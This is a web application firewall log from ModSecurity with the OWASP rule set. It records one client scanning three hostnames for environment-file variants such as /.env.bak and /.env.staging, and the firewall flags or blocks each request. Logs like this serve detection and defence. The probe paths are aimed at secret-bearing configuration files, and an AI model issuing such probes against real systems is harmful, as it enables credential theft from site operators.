[Sun Oct 25 02:18:49.515825 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at2fSVTnwNJm6o1fQZIhNAAAAAI"]
[Sun Oct 25 02:18:49.516955 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at2fSXqPPT_6tJCMTRvt5QAAAAs"]
[Sun Oct 25 02:18:49.517098 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at2fSXqPPT_6tJCMTRvt5QAAAAs"]
[Sun Oct 25 02:18:49.517324 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at2fSXqPPT_6tJCMTRvt5QAAAAs"]
[Sun Oct 25 02:18:49.892009 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at2fSVyqe9jgJ5nfJHB7PAAAAAo"]
[Sun Oct 25 02:18:49.892388 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at2fSVyqe9jgJ5nfJHB7PAAAAAo"]
[Sun Oct 25 02:18:49.892822 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at2fSVyqe9jgJ5nfJHB7PAAAAAo"]
[Sun Oct 25 02:18:49.894026 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at2fSVTnwNJm6o1fQZIhNQAAAAI"]
[Sun Oct 25 02:18:49.894194 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at2fSVTnwNJm6o1fQZIhNQAAAAI"]
[Sun Oct 25 02:18:49.894457 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at2fSVTnwNJm6o1fQZIhNQAAAAI"]
[Sun Oct 25 02:18:49.895533 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at2fSXqPPT_6tJCMTRvt5gAAAAs"]
[Sun Oct 25 02:18:49.895720 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at2fSXqPPT_6tJCMTRvt5gAAAAs"]
[Sun Oct 25 02:18:49.895952 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at2fSXqPPT_6tJCMTRvt5gAAAAs"]
[Sun Oct 25 02:18:50.174069 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.remote"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at2fSlTnwNJm6o1fQZIhNgAAAAI"]
[Sun Oct 25 02:18:50.174322 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at2fSlTnwNJm6o1fQZIhNgAAAAI"]
[Sun Oct 25 02:18:50.174742 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at2fSlTnwNJm6o1fQZIhNgAAAAI"]
[Sun Oct 25 02:18:50.175880 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at2fSlyqe9jgJ5nfJHB7PQAAAAo"]
[Sun Oct 25 02:18:50.176054 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at2fSlyqe9jgJ5nfJHB7PQAAAAo"]
[Sun Oct 25 02:18:50.176273 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at2fSlyqe9jgJ5nfJHB7PQAAAAo"]
[Sun Oct 25 02:18:50.218642 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.remote"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at2fSnqPPT_6tJCMTRvt5wAAAAs"]
[Sun Oct 25 02:18:50.218970 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at2fSnqPPT_6tJCMTRvt5wAAAAs"]
[Sun Oct 25 02:18:50.219391 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at2fSnqPPT_6tJCMTRvt5wAAAAs"]
[Sun Oct 25 02:18:50.411645 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at2fSlyqe9jgJ5nfJHB7PgAAAAo"]
[Sun Oct 25 02:18:50.411931 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at2fSlyqe9jgJ5nfJHB7PgAAAAo"]
[Sun Oct 25 02:18:50.412290 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at2fSlyqe9jgJ5nfJHB7PgAAAAo"]
[Sun Oct 25 02:18:50.413410 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at2fSlTnwNJm6o1fQZIhNwAAAAI"]
[Sun Oct 25 02:18:50.413606 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at2fSlTnwNJm6o1fQZIhNwAAAAI"]
[Sun Oct 25 02:18:50.413832 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at2fSlTnwNJm6o1fQZIhNwAAAAI"]
[Sun Oct 25 02:18:50.491862 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at2fSnqPPT_6tJCMTRvt6AAAAAs"]
[Sun Oct 25 02:18:50.492185 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at2fSnqPPT_6tJCMTRvt6AAAAAs"]
[Sun Oct 25 02:18:50.492587 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at2fSnqPPT_6tJCMTRvt6AAAAAs"]
[Sun Oct 25 02:18:50.629094 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at2fSlTnwNJm6o1fQZIhOAAAAAI"]
[Sun Oct 25 02:18:50.629362 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at2fSlTnwNJm6o1fQZIhOAAAAAI"]
[Sun Oct 25 02:18:50.629745 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at2fSlTnwNJm6o1fQZIhOAAAAAI"]
[Sun Oct 25 02:18:50.636921 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.remote"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at2fSlyqe9jgJ5nfJHB7PwAAAAo"]
[Sun Oct 25 02:18:50.637156 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at2fSlyqe9jgJ5nfJHB7PwAAAAo"]
[Sun Oct 25 02:18:50.637451 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at2fSlyqe9jgJ5nfJHB7PwAAAAo"]
[Sun Oct 25 02:18:50.774555 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at2fSnqPPT_6tJCMTRvt6QAAAAs"]
[Sun Oct 25 02:18:50.774869 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at2fSnqPPT_6tJCMTRvt6QAAAAs"]
